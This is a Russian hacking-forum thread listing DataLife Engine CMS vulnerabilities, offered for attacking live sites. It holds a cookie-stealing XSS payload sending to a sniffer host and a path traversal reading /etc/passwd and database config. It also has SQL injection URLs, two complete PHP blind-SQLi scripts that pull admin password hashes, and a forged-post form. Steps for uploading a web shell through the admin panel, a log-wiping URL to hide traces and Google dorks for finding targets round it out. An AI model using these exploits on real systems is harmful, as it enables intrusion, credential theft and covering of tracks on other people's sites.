[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    Обзор уязвимостей [DataLife Engine]


    Сайт производителя: www.dle-news.ru
    Актуальная версия: 8.5

    DataLife Engine v.3.7


    [Раскрытие установочного пути]

    В parse.class.php выделено 12582912 байт на проверку сообщения.
    Переполнение делается так: "<<><><><><><>>"

    [ХСС]

    Угнать кукисы можно при помощи вставки картинки.
    -- этим можно воспользваться всегда, даже если нету таких кнопок при
    добавлении новости, личном сообщении, добавления коментария.
    Непосредственно сама ХСС:

    Code:
    [IMG=left]http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
    cookie;'><!--[/IMG]
    [Проблемы с SQL]

    Code:
    http://target.net/category/topic/ -- где topic -- это не существующая тема. 
    Результат: SELECT id FROM nws_category WHERE parentid=not detected ;

    Версия 4.1 возможно более ранние SQL Injection.


    Описание:
    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

    Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:

    Code:
    http://[host]/index.php?subaction=userinfo&user=[code]

    DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl)
    DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
    SQL injection for <=4.1 version exploit
    RGdatalife - exploit (php version)
     
    #1 Solide Snake, 28 Oct 2007
    Last edited by a moderator: 15 Jul 2010
    8 people like this.
  2. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..

    пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.

    Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...

    баг в функциях оптимизации базы

    http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption

    пакеты браузера

    расскрытие при повторном посте
    и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/

    так же мона юзать xss

    method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
    ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
    или
    ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair

    вообщем имеем пост ксс и расскрытие пути

    з.ы. сначала незаметил и создал новую тему ^^
     
    _________________________
    2 people like this.
  3. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)

    Листилка (читалка) файлов там где не стоит мэйджик квотез:

    Code:
    http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
    Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...

    (c) Scipio
     
    #3 Solide Snake, 13 Jan 2008
    Last edited by a moderator: 8 Jun 2009
    3 people like this.
  4. r00tk1d

    r00tk1d New Member

    Joined:
    3 Feb 2008
    Messages:
    1
    Likes Received:
    4
    Reputations:
    0
    Раскрытие полного установочного пути (для авторизированых юзеров)
    Code:
    index.php?do=pm&doaction=newpm&user[]=
    Результат
    Code:
    Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49
     
    #4 r00tk1d, 3 Feb 2008
    Last edited: 3 Feb 2008
    4 people like this.
  5. l-l00K

    l-l00K Banned

    Joined:
    26 Nov 2006
    Messages:
    233
    Likes Received:
    433
    Reputations:
    287
    blind sql-inj в неофициальном модуле к Dle files (файловый архив)
    уязвимость после order by в параметре orderby
    Пример запроса:
    Code:
    http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+
    Эксплоит:
    PHP:
    <?php
    set_time_limit
    (0);
    /*-----------------------------------------------------*/ 
    //Эксплойт для модуля Files(модуль файлового архива) к DLE
    //Автор: H00K
    /*-----------------------------------------------------*/ 

    /*-----------------Настройки---------------------------*/ 
    $host="symbiware.org";//указываем хост
    $catid "38";//Указываем id существующей категории
    $userid "0";//Указываем id администратора
    /*-----------------------------------------------------*/ 

    $good "MySQL Fatal Error";
    $bad "Архив файлов";
    $path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";
    $end ",(select%201%20from%20dle_downloads),url)+--+";
    $index 1;
    $result "";

    function 
    GetMiddle($min$max)
    {
     return 
    floor($min+((($max+1)-($min-1))/2));
    }

    function 
    Check($min,$max)
    {
     if ((
    $max-$min)<=2)
      {
      global 
    $index;
      global 
    $result;
      global 
    $host;
      global 
    $path;
      echo 
    "Символ найден: ";
      if ((
    $max-$min)==1)
      if (
    CheckSQL($host$path$index.",1))={$max}")) 
       
    $result .=chr($max); else $result .=chr($min);
      if ((
    $max-$min)==2)
      {
      if (
    CheckSQL($host$path$index.",1))={$max}"))
      {
        
    $result .=chr($max);
      } else
      {
       if(
    CheckSQL($host$path$index.",1))={$max}-1"))
        
    $result .=chr($max-1); else $result .=chr($min);  
      }
      }
       echo 
    substr($result,strlen($result)-1)."<br>";
       
    flush();
       
    $index++;
        return 
    true;
      } else return 
    false;
    }

    function 
    CheckSQL ($host$path$st)
    {   global 
    $end;
        
    $line="";
        
    $fo fsockopen($host80$errno$errstr30);
        if(!
    $fo){die ("no connect");}
        else 
        { 
           
    $headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
           
    $headers.="Host: ".$host."\r\n";
           
    $headers.="Connection: Close\r\n\r\n";    
           global 
    $good;
           global 
    $bad;
            
    fwrite($fo$headers);
            while (!
    feof($fo))
            {
                
    $line fgets($fo512);
                if (
    strpos($line,$good)) 
                {
                 
    fclose($fo);
                 return 
    true;
                }
                if (
    strpos($line,$bad))
                {
                 
    fclose($fo);
                 return 
    false;
                }
            }
            
    fclose($fo);
        }
        return 
    false;
    }
    if (
    CheckSQL($host$path$index.",1))+between+1+and+255")) 
     echo (
    " Идет подбор символов...<br>"); else  die("Ошибка");
     
    for (
    $i=0;$i<32;$i++)
    {
     
    $min 31;
     
    $max 123;
     
    $ok true;
     while (
    $ok == true)
     {
      
    $num GetMiddle($min,$max);
      if (!
    check($min,$max))
      {
      if (
    CheckSQL($host$path$index.",1))+between+1+and+{$num}")) 
      {
     echo(
    "Меньше $num <br>");
       
    $max $num;
      } else
      {
      echo (
    "Больше $num <br>"); 
       
    $min $num;
      } 
      
    flush();
     } else 
    $ok false;
     } 
    }
    echo 
    $result;
    ?>
    © H00k
     
    7 people like this.
  6. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Нашёл XSS в модуле DLE Forum 2.1

    Code:
    http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>
    Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать :) )

    З.Ы.
    Гуглом ищутся по запросу:

    intitle:"Работает на DLE Forum"
     
    #6 Qwazar, 8 Apr 2008
    Last edited: 8 Apr 2008
    3 people like this.
  7. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ещё забавную багу нашёл в модуле DLE Forum 2.1
    :)

    Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):

    Создайте страничку со следующим кодом:
    Code:
    <form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
     Forum ID: <input type="text" name="forum_id" value="2"><br/>
     Topic ID: <input type="text" name="topic_id" value="1"><br/>
     Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
     Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>  
     UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
     UserMail: <input type="text" name="mail" value="[email protected]"><!-- Вписываем что хотим -->
     <input type="submit">
    </form>
    
    Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.
     
    #7 Qwazar, 8 Apr 2008
    Last edited: 8 Apr 2008
    1 person likes this.
  8. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Blind SQL Injection в в модуле DLE Forum 2.1:

    На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.

    Для выполнения, нужно залогиниться.

    Для начала нужно добавить иньекцию в БД

    Примеры:
    Code:
    http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 -- 
    Code:
    http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) -- 
    Затем, для её выполнения нужно обратиться по адресу:
    Code:
    http://site/index.php?do=forum&act=subscription
    При написании неудачного запроса, его нужно удалить командой: (это важно!)

    Code:
    http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]
    Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html

    З.Ы.
    Сорри, что не добил скуль до конца, времени не хватает, но это возможно.
     
    #8 Qwazar, 8 Apr 2008
    Last edited: 8 Apr 2008
    2 people like this.
  9. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    SQL Injection в в модуле DLE mChat v. 2.0:

    Нашёл в админке, и после ORDER BY, наверное бесполезная, но:

    Code:
    http://site/admin.php?mod=mchat&start_from=SQL
    И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):

    Code:
    http://site/admin.php?mod=mchat&mchat_per_page=1SQL
    Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.
     
    2 people like this.
  10. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Раскрытие пути в модуле DLE mChat v. 2.0:

    Code:
    http://site/admin.php?mod=mchat&action=mess_del
    Code:
    http://site/admin.php?mod=mchat&action=do_mess_del
    Тоже админка :(
     
    #10 Qwazar, 8 Apr 2008
    Last edited: 8 Apr 2008
  11. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Активная, но очень неудобная XSS в модуле DLE mChat v. 2.0:

    При отправке сообщения, вида:

    Code:
    <a href="http://www.ya.ru">А исправь ка</a>
    В админке теги отфильтрованы не будут, и вместо стандартной администраторской функции редактирования сообщения, админ перейдёт по ссылке. Если очень постараться, можно создать фейковую страницу с просьбой ввести пароль для редактирования, и хитрым образом заставить админа попробовать отредактировать сообщение. (Из области научной фантастики)

    З.Ы.
    <script>, document.cookie - фильтрует, "javascript:" превращает в javascript:<b></b> и иногда в неудачных местах ставит <br />. В общем окне просмотра чата, теги видны прекрасно.
     
    1 person likes this.
  12. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Раскрытие пути в DataLife Engine v.6.7:

    Code:
    http://site/engine/inc/init.php
    http://site/engine/inc/preview.php
    http://site/engine/data/dbconfig.php (работает не везде)
    http://site/upgrade/error.php
    http://site/upgrade/finish.php
    http://site/upgrade/template.php
    
    Раскрытие пути в модуле DLE Forum 2.1:

    Code:
    http://site/dle-forum.php
    
    Раскрытие пути в модуле DLE mChat v. 2.0:

    Code:
    http://site/engine/ajax/mchat.refresh.php
    Одна особенность! Не работает в IE, т.к. IE вместо отображения пытается принять файл, юзайте файрфокс или тулзы отображающие результат в текстовом виде.

    Нашёл после того, как написал тулзу для поиска раскрытий пути и простейших SQL ошибок :)

    З.Ы.
    Если кому надо - обращайтесь (написал на Java).
     
    #12 Qwazar, 12 Apr 2008
    Last edited: 12 Apr 2008
  13. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Вот ещё нашёл в модуле DLE Forum 2.1:



    Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так:

    Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик..

    Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев.

    Безопасно посмотреть префикс к таблицам БД можно так:
    Code:
    http://site/dle-forum.php?action=upgrade
     
    #13 Qwazar, 12 Apr 2008
    Last edited: 12 Apr 2008
  14. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    То же самое и в модуле DLE mChat v. 2.0, есть возможность удалить все записи в чате (в том числе логи чата), если забыли удалить папку /mcinstall/ после установки.

    В принципе, для чата это не так деструктивно, а вот уничтожить следы деятельности поможет, так что выкладываю:

    Code:
    http://site/mcinstall/?action=doinstall
     
    #14 Qwazar, 12 Apr 2008
    Last edited: 12 Apr 2008
  15. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    DataLife Engine 6.7 vulnerability or higher

    1. Бага заключается в следующем.
    Смотрим сорс страницы пользователя
    PHP:
    <script language="javascript" type="text/javascript">
    <!--
    var 
    dle_root       '/';
    var 
    dle_skin       'wf_0_1';
    var 
    dle_wysiwyg    'no';
    var 
    menu_short     'Быстрое редактирование';
    var 
    menu_full      'Полное редактирование';
    var 
    menu_profile   'Просмотр профиля';
    var 
    menu_fcomments 'Найти все комментарии';
    var 
    menu_send      'Отправить сообщение';
    var 
    menu_uedit     'Админцентр';
    var 
    dle_req_field  'Заполните все необходимые поля';
    var 
    dle_del_agree  'Вы действительно хотите удалить этот комментарий?';
    //-->
    </script>
    Теперь смотрим сорсы страницы админа
    PHP:
    <script language="javascript" type="text/javascript">
    <!--
    var 
    dle_root       '/cms/dle/';
    var 
    dle_admin      'admin.php';
    var 
    dle_login_hash '1bc5a8a12d90e476dbf6d1bcd58b5860';
    var 
    dle_skin       '123';
    var 
    dle_wysiwyg    'no';
    var 
    menu_short     'Быстрое редактирование';
    var 
    menu_full      'Полное редактирование';
    var 
    menu_profile   'Просмотр профиля';
    var 
    menu_fnews     'Найти все публикации';
    var 
    menu_fcomments 'Найти все комментарии';
    var 
    menu_send      'Отправить сообщение';
    var 
    menu_uedit     'Админцентр';
    var 
    dle_req_field  'Заполните все необходимые поля';
    var 
    dle_del_agree  'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
    var 
    dle_del_news   'Удалить новость';
    var 
    allow_dle_delete_news   true;
    //-->
    </script>
    Собственно это нам и нужно
    HTML:
    var dle_admin      = 'admin.php'; // скрипт адмиского входа.
    var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5
    
    Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз.
    Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте.

    PHP:
    <?php
    if(isset($_POST["frame"])) {
        
    $fh fopen("gibson.txt","w+");
        
    fwrite($fh,$_POST["frame"]);
        
    fclose($fh);
        
    }
    else{
    ?>
    <html>
    <head>
    <script>
        function sendFrame(FrameID,FormID,TextareaID)
        {
            content = document.getElementById(FrameID).contentDocument.text;
            document.getElementById(TextareaID).value = content;
            document.getElementById(FormID).submit();
        }
    </script>
    </head>

    <body>
    <div style="display:block;">
        <form action="gibson.php" method="post" id="form0">
        <textarea name="frame" id="text0" style="display:none;" ></textarea>
        <input type="submit" name="ok" value="ok" style="display:none;" >
        </form>
    </div>

    <IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" >
    </IFRAME>

    </body>
    </html>
    <?}?>
    ps Скрипт работает в опере с локальными адресами! В фф сек эрроры)

    2. Ну и так для развлечения ксс
    PHP:
    http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.cookie);
    Нужно только чтобы рисунки были включены.
     
    4 people like this.
  16. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    DLE 6.3
    Раскрытие пути:
    Code:
    index.php?catalog[]=
     
    1 person likes this.
  17. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    DataLifeEngine Online Mod Exploit Blind SQL Injection

    DLE Online Mod Exploit Blind SQL Injection

    Нашел багу я, а эксплойт написал Евгений Минаев

    Сохраняем эксплойт и закидываем его к себе на локалхост, от туда запускаем.
    Выдерает хеши любого юзера, шифрация md5(md5($pass))
    PHP:
    <?php
    /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
     
    /**
    * DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
    * Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)

    * Useful: email, password, name
    *
    * PHP versions 4 and 5
    *
    * LICENSE: This source file is subject to version 3.0 of the PHP license
    * that is available through the world-wide-web at the following URI:
    * http://www.php.net/license/3_0.txt.  If you did not receive a copy of
    * the PHP License and are unable to obtain it through the web, please
    * send a note to [email protected] so we can mail you a copy immediately.
    *
    * @category   Exploit
    * @package    None
    * @author     Eugene Minaev <[email protected]>
    * @copyright  2008 ITDefence.ru
    * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
    * @version    CVS: $Id:$
    * @link       http://underwater.itdefence.ru
    * @since      File available since Release 0x00
    */
        
    @set_time_limit(0);
        @
    ini_set('output_buffer'0);
        
    ?>
     
    <html>
     
            <head>
                    <title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
                    <style type="text/css">
                            body{
                                    font-family: Tahoma;
                                    font-size: 12px;
                                    color: #e1e1e1;
                                    background-color: #222;
                            }
                    </style>
            </head>
            
            <body>
                    <center>
                    <form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
                          dle path:<input type="text" name="server" value="http://localhost/dle/" />
                            <br/><br/>
                           admin id:  <input type="text" name="userid" value="1" />
                            <br/><br/>
                            <input type="submit" />
                    </form>
                    </center>
            </body>
     
    </html>
     
    <?php
    if (!empty($_POST))
    {
            
    $_      create_function('$error''die("$error");');
            
    $userid         = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
            
    $server  = isset($_POST['server']) ? $_POST['server'] : null;
            
    $alphabet   = array('a''b''c''d''e''f''1''2''3''4''5''6''7''8''9''0');
            
    $responce       null;
            
    $password       null;
            
    $curpos  1;
            
    $alppos     0;
            
    $flag       false;
            
            
            
    $pathinfo parse_url($server);
            if (
    false === is_array($pathinfo) or empty($pathinfo['host'])) {
                    
    $_('invalid url');
            } else {
                    
    $fsocket fsockopen($pathinfo['host'], 80) or 
                            
    $_('hostname is dead');
                    
    $request "GET {$pathinfo['path']} HTTP/1.1\r\n"
                                     
    "Host: {$pathinfo['host']}\r\n"
                                     
    "Cookie: dle_onl_session='underWHAT?!\r\n\r\n";
                    
    fwrite($fsocket$request) or 
                            
    $_ ('failed to write data to socket');
                    while (
    $flag === false){
                                            
    $responce .= fread($fsocket128);
                                            
    $flag strpos($responce'</html>') ? truefalse;
                    }
            
    $flag false;
                    if (
    strpos($responce'MySQL Error') > 0){
                            while (
    strlen($password) < 32)
                            {
                                    
    $fsocket fsockopen($pathinfo['host'], 80) or 
                                            
    $_('hostname is dead'); 
                                    
    $responce null;
                                    
    $cookie   "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(select 1 union select 3))/*";
                                    
    $request  "GET {$pathinfo['path']} HTTP/1.1\r\n"
                                                      
    "Host: {$pathinfo['host']}\r\n"
                                                      
    "Connection: close\r\n"
                                                      
    "Cookie: dle_onl_session=$cookie\r\n\r\n";
                                    
    fwrite($fsocket$request) or 
                                            
    $_ ('failed to write data to socket');
                                    
    $responce fread($fsocket8000);
                                    if (!
    strpos($responce'returns more than 1 row')){
                                            
    $password .= $alphabet[$alppos];
                                            
    $curpos += 1;
                                            
    $alppos 0;
                                    } else {
                                            
    $alppos += 1;
                                    }
                                    
    $flag     false;
                                    
    $responce null;
                                    
    fclose($fsocket);
                            }
                    } else {
                die (
    '<center><h1>not vulnerable</h1></center>');
            }
                    echo 
    "<center><h1>$password</h1></center>";                               
            }
    }
     
       
    ?>
    Google dork: "20ка посетивших:"
     
    6 people like this.
  18. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Datalife Engine 6.7 XSRF


    Datalife Engine 6.7 XSRF
    _http://securityvulns.ru/Tdocument552.html

    Exploit:

    http://site.com/datalife-path/engine/modules/imagepreview.php?image=[XSRF]

    Подробно рассмотрено: _https://forum.antichat.ru/thread67881.html

     
    #18 Elekt, 21 May 2008
    Last edited: 13 Jun 2008
  19. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    Заливка шелла через админку Datalife Engine
    Версию точно определить не смог, но в сорцах написано про 2008 год.

    Итак, заходим в админцентр.
    Далее нажимаем "Другие разделы"
    Выбираем где-то в конце "Архив файлов"
    Идём на "Настройка Архива Файлов"
    Допустимые форматы файлов: дописываем php.
    Сохраняемся, идём в "Добавить файл".
    Заливаем шелл :)
    Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.

    Нашёл сегодня сам, так как очень приспичело, а старые баги не подходили. Если уже где-то было, извините..
    Потом, может, сниму видео...
     
    1 person likes this.
  20. Ar3s

    Ar3s Banned

    Joined:
    4 May 2005
    Messages:
    86
    Likes Received:
    14
    Reputations:
    5
    Попробуй через редактирование шаблона сайта.
    Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
    Вообщем как-то так. Экспериментируйте.